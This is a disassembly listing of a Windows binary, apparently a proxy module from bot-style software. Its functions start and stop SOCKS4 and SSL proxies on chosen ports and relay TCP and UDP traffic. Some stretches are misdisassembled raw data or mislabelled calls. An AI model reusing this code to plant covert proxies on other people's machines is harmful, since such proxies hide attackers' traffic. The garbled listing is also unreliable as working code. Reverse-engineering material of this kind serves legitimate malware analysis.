retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh nop call near ptr 28502B8h loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi nop call near ptr 71AB9639h loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 28502B8h jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 28502B8h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi ; closesocket push ebx call esi ; closesocket loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh call near ptr 28502B8h nop jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax nop call near ptr 71AB9639h loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730068h, 8BE85600h dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_4472FC push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, 